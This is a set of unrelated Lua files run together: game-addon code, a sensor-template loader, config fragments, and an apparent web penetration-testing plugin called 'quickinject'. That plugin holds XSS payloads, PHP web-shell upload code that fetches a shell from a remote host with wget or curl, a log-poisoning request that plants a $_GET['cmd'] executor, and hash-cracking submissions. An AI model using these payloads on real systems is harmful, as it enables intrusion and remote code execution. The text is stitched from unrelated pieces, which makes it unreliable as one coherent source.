local ftcsv = require 'ftcsv' local utils_sort = require 'hj212.utils.sort' local tpl_dir = 'tpl/' local NAME_CHECKING = {} local function valid_prop(prop, err_cb) local log_cb = function(...) if err_cb then err_cb(...) end return false end if string.len(prop.sn or '') == 0 then return log_cb('Invalid device serial number found', prop.name, prop.sn) end if string.len(prop.input or '') == 0 then return log_cb('Invalid pollut input name found', prop.name, prop.input) end if NAME_CHECKING[prop.name] then return log_cb("Duplicated prop name found", prop.name) end NAME_CHECKING[prop.name] = true return true end local function sort_props(props) table.sort(props, function(a, b) return utils_sort.string_compare(a.name, b.name) end) return props end local function NA_BOOL(val, default) if val == nil or val == '' then return default end if string.upper(val) == 'N/A' or string.upper(val) == 'N' or string.lower(val) == 'false' then return false end if string.upper(val) == 'Y' or string.lower(val) == 'true' then return true end return default end local function NA_BOOL_NUMBER(val, default, num_def) if val == nil or val == '' then return default end if string.upper(val) == 'N/A' or string.upper(val) == 'N' or string.lower(val) == 'false' then return false end if string.upper(val) == 'Y' or string.lower(val) == 'true' then return true end return tonumber(val) or (num_def or 0) end --- -- [1] hj212 pollut name -- [2] hj212 pollut desc -- [3] hj212 pollut unit (not used by HJ212 stack) -- [4] hj212 pollut vt (not used by HJ212 stack) -- [5] source device sn (without sys_id as the prefix) -- [6] source pollut name -- [7] source pollut value rate -- [8] hj212 pollut value format (optional) -- [9] hj212 pollut value calc local function load_tpl(name, err_cb) local path = tpl_dir..name..'.csv' local t = ftcsv.parse(path, ",", {headers=false}) local devs = {} local props = {} for i,v in ipairs(t) do if i ~= 1 and #v > 1 then local prop = { name = v[1], desc = v[2], unit = v[3], vt = string.len(v[4]) > 0 and v[4] or 'float', sn = v[5], input = v[6], } if string.len(v[7]) > 0 then prop.rate = tonumber(v[7]) or 1 else prop.rate = 1 end prop.min = string.len(v[8] or '') > 0 and tonumber(v[8]) or nil prop.max = string.len(v[9] or '') > 0 and tonumber(v[9]) or nil prop.fmt = string.len(v[10] or '') > 0 and v[10] or nil prop.calc = string.len(v[11] or '') > 0 and v[11] or nil prop.cou_calc = string.len(v[12] or '') > 0 and v[12] or nil prop.upload = NA_BOOL(v[13], true) prop.cou = NA_BOOL_NUMBER(v[14], true) -- false will not upload cou, number will set the COU to this number prop.zs = string.len(v[15] or '') > 0 and v[15] or nil prop.hj2005 = string.len(v[16] or '') > 0 and v[16] or nil prop.src_prop = string.len(v[17] or '') > 0 and v[17] or nil if valid_prop(prop, err_cb) then local dev = devs[prop.sn] if not dev then dev = {} devs[prop.sn] = dev end table.insert(dev, prop) table.insert(props, { name =prop.name, dev = dev, prop = prop, }) end end end return { devs = devs, props = sort_props(props) } end return { load_tpl = load_tpl, init = function(dir) tpl_dir = dir.."/tpl/" end }
return PlaceObj("ModDef", { "title", "Fix Safari No Green Planet", "id", "ChoGGi_FixSafariNoGPDLC", "steam_id", "2428296255", "pops_any_uuid", "7349ec08-42ae-4601-8de9-22c1b2650e93", "lua_revision", 1001569, "version", 1, "version_major", 0, "version_minor", 1, "image", "Preview.png", "author", "ChoGGi", "code", { "Code/Script.lua", }, "TagOther", true, "description", [[Obsolete: Fixed in https://forum.paradoxplaza.com/forum/threads/tourism-update-hotfix-3.1463960/ If you don't have Green Planet DLC, then GetVisibleSights() will never return a list of sights. Tested on Tito Hotfix 2, reported by Max Murray. ]], })
return { Convolution = { "../src/Convolution/**", }, LensFlare_ScreenSpace = { "../src/LensFlare_ScreenSpace/**", }, Tutorial = { "../src/Tutorial/**", }, ParallelReduction = { "../src/ParallelReduction/**", }, }
ix.randomitems.tables["event_anomaly_redrazor"] = { {500, {"value_statue_cat"}}, {500, {"value_statue_horse"}}, {500, {"value_statue_lion"}}, {100, {"artifact_mementomori"}}, }
require 'Underscript' require 'Forge' require 'luaonlua' quickinject = {} quickinject.opt_shellurl = 'quickinject.shell.php.url' quickinject.opt_shelloutput = 'quickinject.shell.php.out' quickinject.xss = { alert = [[<script>alert('XSS');</script>]], alertcharcode = [[alert(String.fromCharCode(88,83,83))]], alert22 = [[>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>]], alertobject = [[<object type=text/html data='javascript:alert(String.fromCharCode(88,83,83));'></object>]], alertnoangle = [[&{alert('XSS')};]], alert2B = [[%22%2Balert(%27XSS%27)%2B%22]], alertimage = [[>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>]], alert2 = [[>"'><script>alert('XSS')</script>]], alertbackground = [[AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22]], alertonload = [[<body onload='javascript:alert(String.fromCharCode(88,83,83))'></body>]], alerttable = [[<table background='javascript:alert(String.fromCharCode(88,83,83))'></table>'></body>]] } quickinject.usefulstrings = { lorem_ipsum = "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum" } function quickinject:add() reqbuilder.toolbar:addhtmlfile('#toolbar','Huntpad.scx#quickinject/toolbar.html') prefs.regdefault(quickinject.opt_shellurl,'http://somehost/shell.txt') prefs.regdefault(quickinject.opt_shelloutput,'shell.php') end function quickinject:editprefs() local t = {} t.html = Huntpad:getfile('quickinject/prefs.html') t.id = 'syhuntquickinject' t.options = [[ quickinject.shell.php.url quickinject.shell.php.out ]] Sandcat.Preferences:EditCustom(t) end function quickinject:getnumber(len,desc) len = len or 10 desc = desc or 'Length' desc = desc..':' local ns = app.showinputdialog(desc, tostring(len)) return tonumber(ns) end function quickinject:getshellurl() return prefs.get(quickinject.opt_shellurl) end function quickinject:getshelloutput() return prefs.get(quickinject.opt_shelloutput) end function quickinject.getseparatedstring(s) return forge.sepchars(s,app.showinputdialog('Separator:',':')) end function quickinject:getshelluploadcmd(method) local s = '' if method == 'wget' then s = string.format([[wget %s -O %s]],quickinject:getshellurl(),quickinject:getshelloutput()) end if method == 'curl' then s = string.format([[curl -o %s %s]],quickinject:getshelloutput(),quickinject:getshellurl()) end return s end function quickinject:getshelluploadcode(method) local s = '' if method == 'wget' or 'curl' then s = string.format([[<? system('%s'); ?>]],quickinject:getshelluploadcmd(method)) end if method == 'file_get_contents' then s = string.format([[<? fwrite(fopen('%s','w'), file_get_contents('%s')); die; ?>]],quickinject:getshelloutput(),quickinject:getshellurl()) end return s end function quickinject:viewsheet(filename) local source = Huntpad:getfile('quickinject/'..filename) tab:showcodeedit(source,'.sql') end function quickinject:run(func) Sandcat.reqbuildermenu:run(func) end function quickinject.getmyip(func) return forge.myip() end function quickinject:getcode() local code = reqbuilder.edit.getsel() if code == '' then code = reqbuilder.edit.gettext() end return code end function quickinject:runjs() local code = self:getcode() if code ~= '' then tab:runjs(code) else if reqbuilder.request.url ~= '' then tab:runjs(reqbuilder.request.url) end end end function quickinject:runtis() local code = self:getcode() if code ~= '' then if browser.navbar ~= nil then browser.navbar:eval(code) else app.runtiscript(code) end end end function quickinject:runlua() console.clear() local code = self:getcode() if code ~= '' then browser.dostring(code) end end function quickinject:runluacode_delayed(code) ctk.utils.settimeout(10,code) end function quickinject:crackhash(mode) local sel = reqbuilder.edit.getsel() if sel ~= '' then if mode == 'offline' then PenTools:CrackMD5() MD5CrackPHP.ui.md5.value = sel end if mode == 'md5decryption.com' then if browser.newtab('http://md5decryption.com/') ~= '' then tab:loadrequest{ url = 'http://md5decryption.com/', method = 'POST', postdata = 'hash='..sel..'&submit=Decrypt+It%21' } end end end end function quickinject:runas(func) local code = self:getcode() console.clear() res = func(code) end -- Runs the code in editor based on the filename extension function quickinject:runeditorscript() local us = require 'Underscript.Runner' local code = self:getcode() console.clear() local ext = ctk.file.getext(reqbuilder.edit.getfilename()) ext = ext:lower() if ext ~= '' then local runfunc = us.runext[ext] if ext == '.lua' then runfunc = browser.dostring end if runfunc ~= nil then runfunc(code) else app.showmessage(ext:upper()..': not able to run this code language! ') end end end function quickinject:runhash(algo) local sel = reqbuilder.edit.getsel() if sel ~= '' then reqbuilder.edit.replacesel(forge.hash(algo,sel)) end end function quickinject:sendtojsconsole() local sel = reqbuilder.edit.getsel() if sel ~= '' then browser.options.showconsole = true console.setmode('js',true) console.setcurline(sel) end end function quickinject:sendpoison_cmd(method) browser.options.showheaders = true tab:sendrequest{ url = ctk.url.combine(reqbuilder.request.url,"/%3C%3Fphp+"..method.."%28%24_GET%5B%27cmd%27%5D%29+%3F%3E") } reqbuilder.edit.setfocus() end function quickinject.getcustomrot(s) local n = tonumber(app.showinputdialog('Positions:','13')) return forge.rotn(s,n) end function quickinject.addtosel(s) if ctk.string.isint(s) == true then s = tonumber(s)+1 else s = ctk.string.increase(s) end return s end function quickinject.subtosel(s) if ctk.string.isint(s) == true then s = tonumber(s)-1 else s = ctk.string.decrease(s) end return s end function quickinject:getcustombof(char) local n = tonumber(app.showinputdialog('Length:','2048')) return string.rep(char,n) end function quickinject.getcolumns(statement) local n = tonumber(app.showinputdialog('Max Columns:','10')) local i = nil local s = '' if n ~= 0 then s = 1 for i = 2, n do s = s..','..i end end s = string.format(statement,s) return s end -- php's stripslashes() function quickinject.stripslashes(s) s = ctk.string.replace(s,[[\']],[[']]) s = ctk.string.replace(s,[[\"]],[["]]) s = ctk.string.replace(s,[[\\]],[[\]]) return s end function quickinject.spacestocommenttags(s) return ctk.string.replace(s," ", "/**/") end function quickinject.spacestonewlines(s) return ctk.string.replace(s," ", "%0a") end function quickinject.strtohex_spaced(s) return forge.strtohex(s,' ') end function quickinject.strtohex_colonsep(s) return forge.strtohex(s,':') end function quickinject.strtohex_0xhex(s) local hex = ctk.convert.strtohex(s) if hex ~='' then hex = '0x'..hex end return hex end
local _, private = ... -- Lua Globals -- -- luacheck: globals -- RealUI -- local RealUI = private.RealUI local MODNAME = "GridLayout" local GridLayout = RealUI:NewModule(MODNAME, "AceConsole-3.0") function GridLayout:Grid2ChatCommand() _G.Grid2:OnChatCommand("") end function GridLayout:OnInitialize() self:SetEnabledState(not not _G.Grid2) end function GridLayout:OnEnable() self:debug("OnEnable") self:RegisterChatCommand("grid", "Grid2ChatCommand") local AddonControl = RealUI:GetModule("AddonControl") if AddonControl.db.profile.addonControl.Grid2 then AddonControl.db.profile.addonControl.Grid2 = nil _G.StaticPopup_Show("RealUI_ResetAddonProfile", "Grid2") end end function GridLayout:OnDisable() end
--add_property( "lmod", "sticky") load("nixpkgs/16.09") load("intel/2016.4") --load("openmpi/2.1.1")
--[[ # Element: Alternative Power Bar Handles the visibility and updating of a status bar that displays encounter- or quest-related power information, such as the number of hour glass charges during the Murozond encounter in the dungeon End Time. ## Widget AlternativePower - A `StatusBar` used to represent the unit's alternative power. ## Notes If mouse interactivity is enabled for the widget, `OnEnter` and/or `OnLeave` handlers will be set to display a tooltip. A default texture will be applied if the widget is a StatusBar and doesn't have a texture set. ## Examples -- Position and size local AlternativePower = CreateFrame('StatusBar', nil, self) AlternativePower:SetHeight(20) AlternativePower:SetPoint('BOTTOM') AlternativePower:SetPoint('LEFT') AlternativePower:SetPoint('RIGHT') -- Register with oUF self.AlternativePower = AlternativePower --]] local _, ns = ... local oUF = ns.oUF -- sourced from FrameXML/UnitPowerBarAlt.lua local ALTERNATE_POWER_INDEX = Enum.PowerType.Alternate or 10 local function updateTooltip(self) GameTooltip:SetText(self.powerName, 1, 1, 1) GameTooltip:AddLine(self.powerTooltip, nil, nil, nil, 1) GameTooltip:Show() end local function onEnter(self) if(not self:IsVisible()) then return end GameTooltip_SetDefaultAnchor(GameTooltip, self) self:UpdateTooltip() end local function onLeave() GameTooltip:Hide() end local function Update(self, event, unit, powerType) if(self.unit ~= unit or powerType ~= 'ALTERNATE') then return end local element = self.AlternativePower --[[ Callback: AlternativePower:PreUpdate() Called before the element has been updated. * self - the AlternativePower element --]] if(element.PreUpdate) then element:PreUpdate() end local cur, max local barType, min, _, _, _, _, _, _, _, _, powerName, powerTooltip = UnitAlternatePowerInfo(unit) element.barType = barType element.powerName = powerName element.powerTooltip = powerTooltip if(barType) then cur = UnitPower(unit, ALTERNATE_POWER_INDEX) max = UnitPowerMax(unit, ALTERNATE_POWER_INDEX) element:SetMinMaxValues(min, max) element:SetValue(cur) end --[[ Callback: AlternativePower:PostUpdate(unit, cur, min, max) Called after the element has been updated. * self - the AlternativePower element * unit - the unit for which the update has been triggered (string) * cur - the current value of the unit's alternative power (number) * min - the minimum value of the unit's alternative power (number) * max - the maximum value of the unit's alternative power (number) --]] if(element.PostUpdate) then return element:PostUpdate(unit, cur, min, max) end end local function Path(self, ...) --[[ Override: AlternativePower.Override(self, event, unit, ...) Used to completely override the element's update process. * self - the parent object * event - the event triggering the update (string) * unit - the unit accompanying the event (string) * ... - the arguments accompanying the event --]] return (self.AlternativePower.Override or Update)(self, ...) end local function Visibility(self, event, unit) if(unit ~= self.unit) then return end local element = self.AlternativePower local barType, _, _, _, _, hideFromOthers, showOnRaid = UnitAlternatePowerInfo(unit) if(barType and (showOnRaid and (UnitInParty(unit) or UnitInRaid(unit)) or not hideFromOthers or UnitIsUnit(unit, 'player') or UnitIsUnit(self.realUnit, 'player'))) then self:RegisterEvent('UNIT_POWER_UPDATE', Path) self:RegisterEvent('UNIT_MAXPOWER', Path) element:Show() Path(self, event, unit, 'ALTERNATE') else self:UnregisterEvent('UNIT_POWER_UPDATE', Path) self:UnregisterEvent('UNIT_MAXPOWER', Path) element:Hide() Path(self, event, unit, 'ALTERNATE') end end local function VisibilityPath(self, ...) --[[ Override: AlternativePower.OverrideVisibility(self, event, unit) Used to completely override the element's visibility update process. * self - the parent object * event - the event triggering the update (string) * unit - the unit accompanying the event (string) --]] return (self.AlternativePower.OverrideVisibility or Visibility)(self, ...) end local function ForceUpdate(element) return VisibilityPath(element.__owner, 'ForceUpdate', element.__owner.unit) end local function Enable(self, unit) local element = self.AlternativePower if(element) then element.__owner = self element.ForceUpdate = ForceUpdate self:RegisterEvent('UNIT_POWER_BAR_SHOW', VisibilityPath) self:RegisterEvent('UNIT_POWER_BAR_HIDE', VisibilityPath) if(element:IsObjectType('StatusBar') and not element:GetStatusBarTexture()) then element:SetStatusBarTexture([[Interface\TargetingFrame\UI-StatusBar]]) end if(element:IsMouseEnabled()) then if(not element:GetScript('OnEnter')) then element:SetScript('OnEnter', onEnter) end if(not element:GetScript('OnLeave')) then element:SetScript('OnLeave', onLeave) end --[[ Override: AlternativePower:UpdateTooltip() Called when the mouse is over the widget. Used to populate its tooltip. * self - the AlternativePower element --]] if(not element.UpdateTooltip) then element.UpdateTooltip = updateTooltip end end if(unit == 'player') then PlayerPowerBarAlt:UnregisterEvent('UNIT_POWER_BAR_SHOW') PlayerPowerBarAlt:UnregisterEvent('UNIT_POWER_BAR_HIDE') PlayerPowerBarAlt:UnregisterEvent('PLAYER_ENTERING_WORLD') end return true end end local function Disable(self, unit) local element = self.AlternativePower if(element) then element:Hide() self:UnregisterEvent('UNIT_POWER_BAR_SHOW', VisibilityPath) self:UnregisterEvent('UNIT_POWER_BAR_HIDE', VisibilityPath) if(unit == 'player') then PlayerPowerBarAlt:RegisterEvent('UNIT_POWER_BAR_SHOW') PlayerPowerBarAlt:RegisterEvent('UNIT_POWER_BAR_HIDE') PlayerPowerBarAlt:RegisterEvent('PLAYER_ENTERING_WORLD') end end end oUF:AddElement('AlternativePower', VisibilityPath, Enable, Disable)